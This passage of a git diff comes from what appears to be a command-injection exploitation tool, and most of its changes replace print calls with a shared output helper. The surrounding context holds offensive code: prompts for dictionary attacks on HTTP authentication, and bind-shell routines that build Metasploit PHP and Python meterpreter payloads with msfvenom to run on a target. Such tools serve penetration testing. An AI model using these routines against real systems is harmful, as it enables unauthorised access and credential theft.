settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout("\r\r" + settings.print_info_msg(info_msg)) + if found: valid_pair = "" + username + ":" + password + "" if not settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Identified valid pair of HTTP authentication credentials: '" info_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) return valid_pair err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " err_msg += "or place an other dictionary into '" err_msg += os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/' directory." - print("\n" + settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) return False # eof \ No newline at end of file diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index af46d2ac85..dc08d23916 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -50,7 +50,7 @@ def http_response_content(content): content = content.decode(settings.DEFAULT_CODEC) if settings.VERBOSITY_LEVEL >= 4: content = checks.remove_empty_lines(content) - print(settings.print_http_response_content(content)) + settings.print_data_to_stdout(settings.print_http_response_content(content)) if menu.options.traffic_file: logs.log_traffic(content) logs.log_traffic("\n\n" + "#" * 77 + "\n\n") @@ -63,7 +63,7 @@ def http_response(headers, code): for header in response_http_headers: if len(header) > 1: if settings.VERBOSITY_LEVEL >= 3: - print(settings.print_traffic(header)) + settings.print_data_to_stdout(settings.print_traffic(header)) if menu.options.traffic_file: logs.log_traffic("\n" + header) if menu.options.traffic_file: @@ -75,20 +75,20 @@ def http_response(headers, code): def print_http_response(response_headers, code, page): if int(code) in settings.ABORT_CODE: err_msg = "Aborting due to detected HTTP code '" + str(code) + "'. " - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.VERBOSITY_LEVEL >= 3 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 3: resp_msg = "HTTP response [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "] (" + str(code) + "):" - print(settings.print_response_msg(resp_msg)) + settings.print_data_to_stdout(settings.print_response_msg(resp_msg)) if menu.options.traffic_file: resp_msg = "HTTP response [#" + str(settings.TOTAL_OF_REQUESTS) + "] (" + str(code) + "):" logs.log_traffic("\n" + resp_msg) http_response(response_headers, code) if settings.VERBOSITY_LEVEL >= 4 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 4: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) try: http_response_content(page) except AttributeError: @@ -115,10 +115,10 @@ def send(self, req): if settings.USER_DEFINED_POST_DATA and \ len(request_http_headers) == 1 and \ settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) for header in request_http_headers: if settings.VERBOSITY_LEVEL >= 2: - print(settings.print_traffic(header)) + settings.print_data_to_stdout(settings.print_traffic(header)) if menu.options.traffic_file: logs.log_traffic("\n" + header) http_client.send(self, req) @@ -132,7 +132,7 @@ def print_http_response(self): if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 2: req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:" - print(settings.print_request_msg(req_msg)) + settings.print_data_to_stdout(settings.print_request_msg(req_msg)) if menu.options.traffic_file: req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:" logs.log_traffic(req_msg) @@ -180,9 +180,9 @@ def https_open(self, req): except ValueError as err: if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Invalid target URL has been given." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except AttributeError: @@ -245,7 +245,7 @@ def https_open(self, req): not str(err.code) == settings.BAD_REQUEST and \ not settings.CRAWLED_URLS_NUM != 0 and \ not settings.MULTI_TARGETS) and settings.CRAWLED_SKIPPED_URLS_NUM != 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Check for 3xx, 4xx, 5xx HTTP error codes. if str(err.code).startswith(('3', '4', '5')): settings.HTTP_ERROR_CODES_SUM.append(err.code) @@ -260,7 +260,7 @@ def https_open(self, req): else: err_msg = error_msg - print(settings.print_critical_msg(err_msg + ").")) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ").")) raise SystemExit() """ @@ -312,7 +312,7 @@ def do_check(request): if menu.options.auth_cred and menu.options.auth_type: if menu.options.auth_type.lower() not in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST, settings.AUTH_TYPE.BEARER): err_msg = "HTTP authentication type value must be Basic, Digest or Bearer." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.auth_type.lower() == settings.AUTH_TYPE.BEARER: request.add_header(settings.AUTHORIZATION, "Bearer " + menu.options.auth_cred.strip()) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index e6db9303f7..903cd8f86e 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -71,7 +71,7 @@ def multi_params_get_value(parameter): err_msg = "No parameter(s) found for testing in the provided data. " if not menu.options.crawldepth: err_msg += "You are advised to rerun with '--crawl=2'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif menu.options.shellshock: return False @@ -91,7 +91,7 @@ def multi_params_get_value(parameter): multi_parameters = parameters.split(settings.PARAMETER_DELIMITER) multi_parameters = [x for x in multi_parameters if x] except ValueError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): @@ -326,7 +326,7 @@ def json_format(parameter): try: multi_parameters = parameter.split(settings.PARAMETER_DELIMITER) except ValueError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check for inappropriate format in provided parameter(s). @@ -483,7 +483,7 @@ def vuln_POST_param(parameter, url): # XML data format. elif settings.IS_XML: - parameters = list(parameter.replace(">" + settings.END_LINE[1] + "" + settings.END_LINE.LF + "'), '', item) @@ -586,7 +586,7 @@ def multi_params_get_value(parameter): try: multi_parameters = cookie.split(settings.COOKIE_DELIMITER) except ValueError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index ed7abe4631..5d0f122ad6 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -49,6 +49,6 @@ def use_proxy(request): def do_check(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP proxy for all HTTP requests. " - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) # eof \ No newline at end of file diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 32b03e8d20..5adc02792a 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -57,7 +57,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): ) else: err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (") - print(settings.print_critical_msg(err_msg + ").")) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ").")) raise SystemExit() try: @@ -76,14 +76,14 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): while True: if not settings.FOLLOW_REDIRECT: if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + redirect_url message += "'. Do you want to follow? [Y/n] > " redirection_option = common.read_input(message, default="Y", check_batch=True) if redirection_option in settings.CHOICE_YES: settings.FOLLOW_REDIRECT = True info_msg = "Following redirection to '" + redirect_url + "'. " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if settings.CRAWLING: settings.HREF_SKIPPED.append(url) return checks.check_http_s(redirect_url) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 9215b33ae7..3969cd193a 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -69,7 +69,7 @@ def crawler_request(url, http_request_method): settings.CRAWLED_SKIPPED_URLS_NUM += 1 if settings.SITEMAP_XML_FILE in url and settings.NOT_FOUND_ERROR in str(err_msg): warn_msg = "'" + settings.SITEMAP_XML_FILE + "' not found." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: request_failed(err_msg) @@ -82,8 +82,8 @@ def estimate_response_time(url, timesec, http_request_method): _ = False if settings.VERBOSITY_LEVEL != 0: debug_msg = "Estimating the target URL response time. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + # Check if defined POST data if menu.options.data: request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC), method=http_request_method) @@ -98,13 +98,11 @@ def estimate_response_time(url, timesec, http_request_method): response.close() _ = True except _http_client.InvalidURL as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except _urllib.error.HTTPError as err: ignore_start = time.time() - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) if settings.UNAUTHORIZED_ERROR in str(err) and int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: pass else: @@ -114,7 +112,7 @@ def estimate_response_time(url, timesec, http_request_method): except IndexError: err_msg += " (" + str(err) + ")." if str(err.getcode()) != settings.UNAUTHORIZED_ERROR: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) # Check for HTTP Error 401 (Unauthorized). else: try: @@ -132,14 +130,14 @@ def estimate_response_time(url, timesec, http_request_method): except ValueError: err_msg = "The identified HTTP authentication type (" + str(auth_type) + ") " err_msg += "is not yet supported." - print(settings.print_critical_msg(err_msg) + "\n") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except IndexError: err_msg = "The provided pair of " + str(menu.options.auth_type) err_msg += " HTTP authentication credentials '" + str(menu.options.auth_cred) + "'" err_msg += " seems to be invalid." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.auth_type and menu.options.auth_type != auth_type.lower(): @@ -158,14 +156,14 @@ def estimate_response_time(url, timesec, http_request_method): menu.options.auth_cred = stored_auth_creds info_msg = "Identified a previously stored valid pair of credentials '" info_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) else: # Basic authentication if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: if not int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: message = "Do you want to perform a dictionary-based attack? [Y/n] > " do_update = common.read_input(message, default="Y", check_batch=True) @@ -190,11 +188,11 @@ def estimate_response_time(url, timesec, http_request_method): if not int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) # Check if failed to identify the realm attribute. if not realm: warn_msg = "Failed to identify the realm attribute." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: message = "Do you want to perform a dictionary-based attack? [Y/n] > " do_update = common.read_input(message, default="Y", check_batch=True) @@ -223,9 +221,7 @@ def estimate_response_time(url, timesec, http_request_method): except ValueError as err_msg: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(str(err_msg) + ".")) + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg) + ".")) raise SystemExit() except Exception as err_msg: @@ -234,8 +230,8 @@ def estimate_response_time(url, timesec, http_request_method): end = time.time() diff = end - start - if settings.VERBOSITY_LEVEL != 0 and _: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL != 0 and _: + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if int(diff) < 1: url_time_response = int(diff) @@ -243,7 +239,7 @@ def estimate_response_time(url, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: warn_msg = "Due to the relatively slow response of 'cmd.exe' in target " warn_msg += "host, there might be delays during the data extraction procedure." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) url_time_response = int(round(diff)) warn_msg = "Target's estimated response time is " + str(url_time_response) warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause" @@ -253,7 +249,7 @@ def estimate_response_time(url, timesec, http_request_method): if url_time_response >= 3: warn_msg += " and/or possible corruptions over the extracted data" warn_msg += "." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if int(timesec) == int(url_time_response): timesec = int(timesec) + int(url_time_response) @@ -285,7 +281,7 @@ def request_failed(err_msg): err_msg += "Please make sure that you have " err_msg += "Tor bundle (https://www.torproject.org/download/) or Tor and Privoxy installed and setup " err_msg += "so you could be able to successfully use switch '--tor'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): @@ -293,7 +289,7 @@ def request_failed(err_msg): error_msg = "Can't establish SSL connection. " if settings.MULTI_TARGETS or settings.CRAWLING: error_msg = error_msg + "Skipping to the next target." - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) if not settings.CRAWLING: raise SystemExit() else: @@ -314,7 +310,7 @@ def request_failed(err_msg): if settings.MULTI_TARGETS or settings.CRAWLING: err = err + "Skipping to the next target." error_msg = err - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) if not settings.CRAWLING: raise SystemExit() else: @@ -337,7 +333,7 @@ def request_failed(err_msg): err_msg += " or rerun by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. " if settings.MULTI_TARGETS or settings.CRAWLING: err_msg += "Skipping to the next target." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) if not settings.CRAWLING: if menu.options.auth_type and menu.options.auth_cred: raise SystemExit() @@ -358,7 +354,7 @@ def request_failed(err_msg): status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) warn_msg += "' which could interfere with the results of the tests." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): return False return True @@ -373,7 +369,7 @@ def request_failed(err_msg): error_msg += "In case that it is, " error_msg += "you can try to rerun with " error_msg += " and/or ".join(items) - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) if not settings.CRAWLING: raise SystemExit() else: @@ -384,8 +380,8 @@ def request_failed(err_msg): return False elif settings.IGNORE_ERR_MSG == False: - if menu.options.skip_heuristics and settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + # if menu.options.skip_heuristics and settings.VERBOSITY_LEVEL == 0: + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True @@ -400,9 +396,9 @@ def request_failed(err_msg): if settings.VERBOSITY_LEVEL >= 1: if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: debug_msg = "Got " + str(err_msg) - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) return False """ @@ -655,7 +651,7 @@ def encoding_detection(response): charset_detected = False if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the web page charset." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: # Detecting charset try: @@ -681,18 +677,18 @@ def encoding_detection(response): settings.DEFAULT_PAGE_ENCODING = charset if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST: warn_msg = "The web page charset " + settings.DEFAULT_PAGE_ENCODING + " seems unknown." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: if settings.VERBOSITY_LEVEL != 0: debug_msg = "The web page charset appears to be " + settings.DEFAULT_PAGE_ENCODING + "." - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) else: pass except: pass if charset_detected == False and settings.VERBOSITY_LEVEL != 0: warn_msg = "Failed to identify the web page charset." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Procedure for target application identification @@ -701,7 +697,7 @@ def application_identification(url): found_application_extension = False if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the target application." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) root, application_extension = splitext(_urllib.parse.urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() @@ -709,19 +705,19 @@ def application_identification(url): found_application_extension = True if settings.VERBOSITY_LEVEL != 0: debug_msg = "The target application appears to be " + settings.TARGET_APPLICATION + "." - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) # Check for unsupported target applications for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)): if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower(): err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if not found_application_extension: if settings.VERBOSITY_LEVEL != 0: warn_msg = "Failed to identify target's application." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Underlying operating system check. @@ -735,7 +731,7 @@ def check_os(_): if match: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the underlying operating system." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) settings.IDENTIFIED_TARGET_OS = True settings.TARGET_OS = match.group(0) match = re.search(r"microsoft|win", settings.TARGET_OS) @@ -748,7 +744,7 @@ def check_os(_): settings.TARGET_OS = settings.OS.WINDOWS if menu.options.shellshock: err_msg = "The shellshock module ('--shellshock') is not available for " + identified_os + " targets." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: identified_os = "Unix-like (" + settings.TARGET_OS + ")" @@ -759,7 +755,7 @@ def check_os(_): if settings.VERBOSITY_LEVEL != 0 : if settings.IDENTIFIED_TARGET_OS: debug_msg = "The underlying operating system appears to be " + identified_os.title() + "." - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) """ Target application identification @@ -768,18 +764,18 @@ def technology_identification(response): x_powered_by = response.info()[settings.X_POWERED_BY] if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the technology supporting the target application." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: if len(x_powered_by) != 0: if settings.VERBOSITY_LEVEL != 0: debug_msg = "The target application is powered by " + x_powered_by + "." - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) check_os(x_powered_by) except Exception as e: if settings.VERBOSITY_LEVEL != 0: warn_msg = "Failed to identify the technology supporting the target application." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Target server's identification. @@ -787,7 +783,7 @@ def technology_identification(response): def server_identification(response): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the software used by target server." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) server_banner = response.info()[settings.SERVER] for i in range(0,len(settings.SERVER_BANNERS)): @@ -808,7 +804,7 @@ def server_identification(response): if len(server_banner) != 0 and settings.VERBOSITY_LEVEL != 0: debug_msg = "The target server's software appears to be " + server_banner + "." - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) """ @@ -821,7 +817,7 @@ def os_identification(response): if not settings.IDENTIFIED_TARGET_OS and not menu.options.os: warn_msg = "Failed to identify server's underlying operating system." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) checks.define_target_os() """ diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index ea05fceb9e..fd2e0b0944 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -34,15 +34,15 @@ def tor_connection_error(): err_msg += "try again using option '--tor-port'." else: err_msg += "check again the provided option '--tor-port'." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise SystemExit() def do_check(): info_msg = "Testing Tor HTTP proxy settings." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if menu.options.offline: err_msg = "You cannot use Tor network while offline." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() try: request = _urllib.request.Request(settings.CHECK_TOR_PAGE, method=settings.HTTPMETHOD.GET) @@ -54,6 +54,6 @@ def do_check(): tor_connection_error() else: info_msg = "Connection with the Tor HTTP proxy is properly set. " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # eof \ No newline at end of file diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 5e4072972c..25934c5a83 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -31,7 +31,7 @@ def shell_options(option): if option.lower() == "bind_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) elif option.lower() == "?": menu.reverse_tcp_options() elif option.lower() == "quit" or option.lower() == "exit": @@ -42,7 +42,7 @@ def shell_options(option): if option[4:10].lower() == "lhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) if option[4:10].lower() == "lport ": check_lport(option[10:]) else: @@ -53,24 +53,24 @@ def shell_options(option): """ def shell_success(): info_msg = "Everything is in place, cross your fingers and check for bind shell (on port " + settings.LPORT + ").\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + """ Error msg if the attack vector is available only for Windows targets. """ def windows_only_attack_vector(): error_msg = "This attack vector is available only for Windows targets." - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) """ Message regarding the MSF handler. """ def msf_launch_msg(output): info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) info_msg = "Once the loading is done, press here any key to continue..." - sys.stdout.write(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) sys.stdin.readline().replace("\n", "") # Remove the ouput file. os.remove(output) @@ -140,7 +140,7 @@ def set_python_interpreter(): """ def check_rhost(rhost): settings.RHOST = rhost - print("RHOST => " + settings.RHOST) + settings.print_data_to_stdout("RHOST => " + settings.RHOST) return True """ @@ -150,11 +150,11 @@ def check_lport(lport): try: if float(lport): settings.LPORT = lport - print("LPORT => " + settings.LPORT) + settings.print_data_to_stdout("LPORT => " + settings.LPORT) return True except ValueError: err_msg = "The provided port must be numeric (i.e. 1234)" - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) return False @@ -255,15 +255,15 @@ def other_bind_shells(separator): if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "php/bind_php" output = "php_bind_tcp.rc" info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + @@ -274,7 +274,7 @@ def other_bind_shells(separator): data = content_file.readlines() data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: @@ -291,7 +291,7 @@ def other_bind_shells(separator): other_shell = "php -r \"" + data + "\"" msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break @@ -346,15 +346,15 @@ def other_bind_shells(separator): if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "php/meterpreter/bind_tcp" output = "php_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + @@ -365,7 +365,7 @@ def other_bind_shells(separator): data = content_file.readlines() data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: @@ -382,7 +382,7 @@ def other_bind_shells(separator): other_shell = "php -r \"" + data + "\"" msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break # Python-bind-shell(meterpreter) @@ -390,15 +390,15 @@ def other_bind_shells(separator): if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "python/meterpreter/bind_tcp" output = "py_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + @@ -410,7 +410,7 @@ def other_bind_shells(separator): data = ''.join(data) #data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode() - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: @@ -430,7 +430,7 @@ def other_bind_shells(separator): other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): @@ -456,7 +456,7 @@ def bind_tcp_options(separator): if bind_tcp_option.lower() == "bind_tcp": warn_msg = "You are into the '" + bind_tcp_option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue # Option 1 - Netcat shell @@ -493,11 +493,11 @@ def bind_tcp_options(separator): def 